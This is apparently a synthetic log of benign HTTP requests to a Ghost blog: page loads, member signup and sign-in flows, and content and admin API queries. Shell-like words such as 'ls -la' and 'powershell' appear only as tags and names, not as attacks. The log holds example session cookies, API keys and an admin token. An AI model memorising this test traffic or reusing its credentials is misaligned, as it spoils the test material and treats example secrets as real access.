{"method": "GET", "target": "/assets/built/source.js?v=33sa4-qy5thAFPQH", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/fonts/inter-roman.woff2?v=OecsB5TBLy27FKD2", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/public/cards.min.js?v=mLGdiz8Ij-Hk3ydN", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/public/comment-counts.min.js?v=oFYkaGLdiMqB8VN9", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/public/member-attribution.min.js?v=AKG4hWena9j3yX3I", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/content/images/size/w320/format/webp/2026/11/feature.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/using-python3-and-ls-la-to-tidy-htaccess-files-2/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/post.css", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/using-python3-and-ls-la-to-tidy-htaccess-files-2/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/content/images/size/w1200/2026/11/feature.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/using-python3-and-ls-la-to-tidy-htaccess-files-2/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/about-python3-powershell-htaccess/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/tag/python3/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/tag/powershell/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/tag/linux-ls-la/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/public/ghost.css?v=aHP3I2VXEymsLMTa", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/tag/linux-ls-la/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/tag/shell-tips-htaccess/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/author/alice/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/rss/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/tag/powershell/rss/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/sitemap.xml", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/sitemap.xsl", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/sitemap.xml", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/members/api/member/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/settings/?key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tiers/?limit=100&include=monthly_price%2Cyearly_price%2Cbenefits&key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/newsletters/?limit=100&key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/sitemap-posts.xml", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/sitemap-tags.xml", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/coming-soon/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/page/2/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/robots.txt", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/using-python3-and-ls-la-to-tidy-htaccess-files-2/?ref=example.com&utm_source=newsletter&utm_medium=email", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/search-index/posts/?key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/search-index/authors/?key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/search-index/tags/?key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/content/images/size/w160/format/webp/2026/11/feature.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/members/api/integrity-token/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "POST", "target": "/members/api/send-magic-link/", "headers": ["Host: example.com", "Content-Length: 464", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": "{\"name\":\"Dave powershell Example\",\"email\":\"dave.powershell@example.com\",\"emailType\":\"signup\",\"requestSrc\":\"portal\",\"integrityToken\":\"1794400683018:3bf73f369096c9f6add1f9b1ae98cb46:e7f23a7052ff063a7be3d6314e7d0024886ddb7efa32b9fa0005958b0eabdab6\",\"autoRedirect\":true,\"urlHistory\":[{\"path\":\"/\",\"time\":1794400377687,\"referrerSource\":null,\"referrerMedium\":null,\"utmSource\":null,\"utmMedium\":null,\"utmCampaign\":null,\"utmTerm\":null,\"utmContent\":null,\"referrerUrl\":null}]}"}
{"method": "GET", "target": "/members/?token=8ZPiTGbu73ReLyvRl98jURWkKkfRA_i1&action=signup&r=http%3A%2F%2Fexample.com%2F", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?action=signup&success=true", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": ""}
{"method": "GET", "target": "/members/api/member/metafields/custom/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/?action=signup&success=true", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": ""}
{"method": "PUT", "target": "/members/api/member/", "headers": ["Host: example.com", "Content-Length: 36", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": "{\"name\":\"Dave python3 & powershell\"}"}
{"method": "PUT", "target": "/members/api/member/", "headers": ["Host: example.com", "Content-Length: 18", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": "{\"newsletters\":[]}"}
{"method": "PUT", "target": "/members/api/member/", "headers": ["Host: example.com", "Content-Length: 51", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": "{\"newsletters\":[{\"id\":\"6af45710d281b00001a598a1\"}]}"}
{"method": "DELETE", "target": "/members/api/session/", "headers": ["Host: example.com", "Content-Length: 13", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": "{\"all\":false}"}
{"method": "POST", "target": "/members/api/send-magic-link/", "headers": ["Host: example.com", "Content-Length: 466", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": "{\"email\":\"dave.powershell@example.com\",\"emailType\":\"signin\",\"requestSrc\":\"portal\",\"integrityToken\":\"1794400800145:c04601f2fbf42eff0912f44306da4981:870fcacdfa42692d37f5a9444cc59480475d58048e44a25969a181864ab30e35\",\"autoRedirect\":true,\"includeOTC\":true,\"urlHistory\":[{\"path\":\"/\",\"time\":1794400493093,\"referrerSource\":null,\"referrerMedium\":null,\"utmSource\":null,\"utmMedium\":null,\"utmCampaign\":null,\"utmTerm\":null,\"utmContent\":null,\"referrerUrl\":\"http://example.com/\"}]}"}
{"method": "POST", "target": "/members/api/verify-otc/", "headers": ["Host: example.com", "Content-Length: 195", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": "{\"otc\":\"155759\",\"otcRef\":\"2346ad44-bc1b-447b-9e30-a506b9bfc8a7\",\"integrityToken\":\"1794400804868:c351ef2d02347ac40394984518784966:d7097253ef160994428604e069f539148a4cab1e4d8950512ab9a194f15ebd8a\"}"}
{"method": "GET", "target": "/members/?token=bKAQ1DVEaORlazdXjSVaDL2EZHkjardV&action=signin&r=http%3A%2F%2Fexample.com%2F&otc_verification=1794400504%3A930857376b132f4aceb9983d3d6de1dc12971c6917638fb1aebb2259bef62a1c", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?action=signin&success=true", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=tag%3apython3&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=tag%3apowershell&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=tag%3alinux-ls-la&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=tags%3a%5bpython3%2cpowershell%5d&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=primary_tag%3ashell-tips-htaccess&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=title%3a~%27ls+-la%27&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=title%3a~%27.htaccess%27&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=featured%3atrue%2btag%3apowershell&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=slug%3ausing-python3-and-ls-la-to-tidy-htaccess-files-2&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=published_at%3a%3e%272026-01-01%27%2btag%3a%5bpython3%2cnews%5d&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&fields=title%2cslug%2curl%2cexcerpt&order=published_at+desc&formats=html%2cplaintext&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/slug/using-python3-and-ls-la-to-tidy-htaccess-files-2/?key=c695aa1f5cdfa62f7b677c3c83&include=tags%2cauthors", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tags/slug/python3/?key=c695aa1f5cdfa62f7b677c3c83&include=count.posts", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tags/slug/powershell/?key=c695aa1f5cdfa62f7b677c3c83&include=count.posts", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tags/slug/linux-ls-la/?key=c695aa1f5cdfa62f7b677c3c83&include=count.posts", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=name%3a~%27python3%27&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=name%3a~%27.htaccess%27&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=name%3a~%27ls+-la%27&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=slug%3a%5bpython3%2cpowershell%5d&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=visibility%3apublic&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/pages/?key=c695aa1f5cdfa62f7b677c3c83&filter=title%3a~%27powershell%27", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/pages/slug/about-python3-powershell-htaccess/?key=c695aa1f5cdfa62f7b677c3c83", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/authors/slug/alice/?key=c695aa1f5cdfa62f7b677c3c83&include=count.posts", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/authors/?key=c695aa1f5cdfa62f7b677c3c83&filter=name%3a~%27Alice%27", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/settings/?key=c695aa1f5cdfa62f7b677c3c83", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tiers/?key=c695aa1f5cdfa62f7b677c3c83&include=monthly_price%2cyearly_price", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3apowershell&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
